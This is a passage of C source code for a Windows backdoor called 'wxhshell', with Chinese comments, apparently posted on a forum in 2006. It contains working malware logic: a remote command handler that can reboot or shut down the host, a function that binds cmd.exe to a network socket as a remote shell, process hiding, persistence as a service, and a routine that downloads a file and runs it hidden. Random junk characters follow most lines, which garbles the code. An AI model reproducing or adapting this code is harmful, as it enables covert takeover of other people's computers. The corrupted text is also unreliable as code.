  \fk%^1XY  
  // 帮助 91Fx0(  
  case '?': { 6 G^x%s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rfk8trD B  
    break; O/|,rAE  
  } (pU@$H  
  // 安装 T@S\:P  
  case 'i': { re$xeq\1P?  
    if(Install()) $CXMeY{tOo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (iT?uMRz  
    else EINjI:/D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hI^Hqv  
    break; y,.X5#rnX*  
    } -_p+4tV  
  // 卸载 h W<fu  
  case 'r': { FS(bEAk}  
    if(Uninstall()) hhqSfafUX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vjzpU(Sq#  
    else ;VL v2J*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e\[z Q 2Z3  
    break; E/OJ}3Rf  
    } |3a1hCxt  
  // 显示 wxhshell 所在路径 2$fFl,v!z  
  case 'p': { &J <km  
    char svExeFile[MAX_PATH]; /|)VO?*D  
    strcpy(svExeFile,"\n\r"); iK(G t6w  
      strcat(svExeFile,ExeFile); $wQkTx  
        send(wsh,svExeFile,strlen(svExeFile),0); >\/H2j  
    break; MKnG:)T<?l  
    } O]XdPH20  
  // 重启 <8JV`dTywC  
  case 'b': { em@bxyMm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o)(N*tC  
    if(Boot(REBOOT)) P?zPb'UVqa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iut[?#f^  
    else { ^"U-\cx  
    closesocket(wsh); _4#8o\  
    ExitThread(0); IQ5H`o?[B  
    } wa #$9p~Q  
    break; fpDx)lQ  
    } #]~l]Eq  
  // 关机 &8##)tS(y  
  case 'd': { Y/3CB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tfSY(cXg'T  
    if(Boot(SHUTDOWN)) &EELq"5K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RW?F{Jy{  
    else { tU5Z?QS  
    closesocket(wsh); pq3W.7z;b  
    ExitThread(0); THQd`Lj  
    } :Z}d#Rbl  
    break; ]d}h`!:  
    } $s*nh>@7  
  // 获取shell $,/;QP}  
  case 's': { QM"\;l??  
    CmdShell(wsh); /uh?F  
    closesocket(wsh); /|kR= ~  
    ExitThread(0); !vaS fL*]  
    break; p}b:(QN~m  
  } c Nhy.Z~D  
  // 退出 P ,%IZ.  
  case 'x': { \o&\r)FX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c7E|GZ2Hc  
    CloseIt(wsh); z ?3G`  
    break; P  -O& X  
    } W -pN  
  // 离开 TL29{'4V  
  case 'q': { +*O$]Hh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >nqDUGnEo>  
    closesocket(wsh); v>p UVM  
    WSACleanup(); &gP/<!#  
    exit(1); *an^ 0  
    break; L,(H(GeX  
        } < wI z8V  
  } ,n}h_ct  
  } ~x!"(  
y@T 0 jI  
  // 提示信息 Wk0"U V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p)dD{+"/2  
} 3@t&5UjwQ  
  } )&nfV5@"  
\!+#9sq0  
  return; NSsLuM=.  
} UdIl5P  
z'W8t|m}Pb  
// shell模块句柄 K;,_P5J%  
int CmdShell(SOCKET sock) P,QI-,  
{ y7x&/2  
STARTUPINFO si; EAdr}io  
ZeroMemory(&si,sizeof(si)); @hb K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DX*eN"z[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L"_l(<g  
PROCESS_INFORMATION ProcessInfo; oy;g;dtq  
char cmdline[]="cmd"; rt _k }  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A;06Zrf1  
  return 0; 2 SJ N;A~}  
} c,v?2*<  
V5.=08L  
// 自身启动模式 2;v1YKY  
int StartFromService(void) cC NyW2'  
{ k3 YDnMRA9  
typedef struct bh[`uRC}  
{ bzl-|+!yB  
  DWORD ExitStatus; z;V Ai=m q  
  DWORD PebBaseAddress; <{z*6FM!'  
  DWORD AffinityMask; AjW5H*  
  DWORD BasePriority; B@8M2Pl  
  ULONG UniqueProcessId; -MCDX^ >P  
  ULONG InheritedFromUniqueProcessId; dr54 D  
}   PROCESS_BASIC_INFORMATION; e hgUp =  
Fm|h3.`V  
PROCNTQSIP NtQueryInformationProcess; Y`U[Y Hx  
Ai~j q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 60iMfc T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ ~"qT  
[?=Vqd  
  HANDLE             hProcess; vmY 88Kx&S  
  PROCESS_BASIC_INFORMATION pbi; 0sQt+_Dl%L  
S260h,(,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @_ZE_n  
  if(NULL == hInst ) return 0; w[/_o,R  
2fa1jl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .8v[ss6:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iE}Lw&x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ++d%D9*V<  
g5\EVcHkz  
  if (!NtQueryInformationProcess) return 0; %mO.ur>21  
v J_1VW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =B/Ac0Y  
  if(!hProcess) return 0; 03!!# 5iJ  
kdam]L:9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L] syD n  
U#X6KRZ~g  
  CloseHandle(hProcess); G2,9$8qE  
H2cY},  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q_R^Q>ZIe  
if(hProcess==NULL) return 0; 8iIz!l%O  
k>'c4ay290  
HMODULE hMod; 4D4Y.g_x  
char procName[255]; G]$.bq[v  
unsigned long cbNeeded; 2JMMNpya  
/_?y]Ly[r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1p|h\H  
HgY>M`U  
  CloseHandle(hProcess); B=R9K3f  
0wA?.~ L  
if(strstr(procName,"services")) return 1; // 以服务启动 l_1y#B-k5  
]E:P-xTwaI  
  return 0; // 注册表启动 ;;Y>7Kn!u  
} <* vWcCS1  
3[a&|!Yw  
// 主模块 [8h~:.d`  
int StartWxhshell(LPSTR lpCmdLine) w]& o]VP  
{ ij|+MX  
  SOCKET wsl; ; *@lH%u  
BOOL val=TRUE; NCKhrDd&  
  int port=0; xc&&UKd  
  struct sockaddr_in door; $lC*q  
H;=JqD8`  
  if(wscfg.ws_autoins) Install(); p_Yx"nO7  
`nvm>u~[Hq  
port=atoi(lpCmdLine); &y~~Z [.F,  
&l<~Xd#  
if(port<=0) port=wscfg.ws_port; ($vaj;  
b14WIgjsl  
  WSADATA data; >X$I:M<L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `:4bg1u  
.Jvy0B} B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [3~mil3rO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |#Q4e51H  
  door.sin_family = AF_INET; ~R$Ko(N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pAY[XN  
  door.sin_port = htons(port); o=}vK[0u  
 yf/c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vr$zYdV>  
closesocket(wsl); M#5*gWfq9  
return 1; !ot$Q  
} ?%]?#4bkc  
mD]^a;U[X  
  if(listen(wsl,2) == INVALID_SOCKET) { Cbq|<p# #o  
closesocket(wsl); ;Q}pmBkqB  
return 1; #n5D K{e  
} X  *f le  
  Wxhshell(wsl); o(|fapK.  
  WSACleanup(); GQvJj4LJp  
Wb7z&vj  
return 0; 7XDze(O5  
ZQ_&HmgRy  
} vrr` ^UB2  
yJMHm8OB7  
// 以NT服务方式启动 q]}1/JZS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;V:Cf/@@R  
{ 8va&*J? 2  
DWORD   status = 0; Lu6?$N57rC  
  DWORD   specificError = 0xfffffff; UomO^P  
#R#o/@|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c9<&+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l0sBXs`3b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /Sn>{ &  
  serviceStatus.dwWin32ExitCode     = 0; ]ICBNJ  
  serviceStatus.dwServiceSpecificExitCode = 0; |Ox !tvyr  
  serviceStatus.dwCheckPoint       = 0; U*R  
  serviceStatus.dwWaitHint       = 0; OZc.Rtgc  
->0OqVQA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ozo)}  
  if (hServiceStatusHandle==0) return; B*,Qw_3dG  
,iYKtS3  
status = GetLastError(); g 218%i  
  if (status!=NO_ERROR) BGSqfr1F  
{ 5"cYZvGkJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >_m4 idq1  
    serviceStatus.dwCheckPoint       = 0; @?gN &Z)I  
    serviceStatus.dwWaitHint       = 0; iJsa;|2/  
    serviceStatus.dwWin32ExitCode     = status; ^;xO-;q  
    serviceStatus.dwServiceSpecificExitCode = specificError; (4 6S^*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |-'.\)7:  
    return; h5>38Kd  
  } &qP@WFl  
t&^cYPRfY'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dj$W?dC"^  
  serviceStatus.dwCheckPoint       = 0; d O'apey  
  serviceStatus.dwWaitHint       = 0; ; ^cc-bLvF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %J 'RO  
} \NN5'DBx  
|AS`MsbI9  
// 处理NT服务事件,比如:启动、停止 `J}-U\4F{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w*3DIVlxL  
{ cz6\qSh\,  
switch(fdwControl) VdfV5"  
{ pSml+A:  
case SERVICE_CONTROL_STOP: ap% Y}  
  serviceStatus.dwWin32ExitCode = 0; h4 X>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H>/LC* 8-  
  serviceStatus.dwCheckPoint   = 0; MY$-D+#/`  
  serviceStatus.dwWaitHint     = 0; U(t_uc5q  
  { rdY/QvP0=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g'Id3 1r'  
  } F#az&  
  return; 5uJ{#Zd  
case SERVICE_CONTROL_PAUSE: s/=.a2\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^HM9'*&KJ  
  break; 6d% |yl  
case SERVICE_CONTROL_CONTINUE: ~5xs$ub  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |x ~<Dc>0*  
  break; i( l'f#  
case SERVICE_CONTROL_INTERROGATE: Jjgy;*hM  
  break; x(UOt;  
}; J91O$szA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M^$liS.D  
} lbg^ 2|o~~  
V.8pxD5 s  
// 标准应用程序主函数 mn;Wqb/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &\_cU?0d  
{ ?7:?OX  
~=pAy>oV  
// 获取操作系统版本 #!n"),3  
OsIsNt=GetOsVer(); +mqz)-x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^^{gn3xJ  
xr<.r4  
  // 从命令行安装  K#LG7faj  
  if(strpbrk(lpCmdLine,"iI")) Install(); RlH~<|XK  
XJ.ERLR.  
  // 下载执行文件 .bT|:Q~@{  
if(wscfg.ws_downexe) { H |K}m,g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =%Yw;% 0)Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); YhzDi>hob  
} w=txSF&Qr  
'/@] V  
if(!OsIsNt) { 1Z+\>~8  
// 如果时win9x,隐藏进程并且设置为注册表启动 =rrbS8To=  
HideProc(); F|seBBu  
StartWxhshell(lpCmdLine); &d8z`amP  
} =`oQcIkz  
else ,PyA$Z  
  if(StartFromService()) 2' 8$I}h  
  // 以服务方式启动 pSLv1d"9{  
  StartServiceCtrlDispatcher(DispatchTable); D#~S< >u@  
else <g^!xX<r?  
  // 普通方式启动 Owa]ax5  
  StartWxhshell(lpCmdLine); 3?"JFfYU,'  
NP {O  
return 0; \~YyY'J  
}
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只看该作者 1 发表于: 2006-10-10
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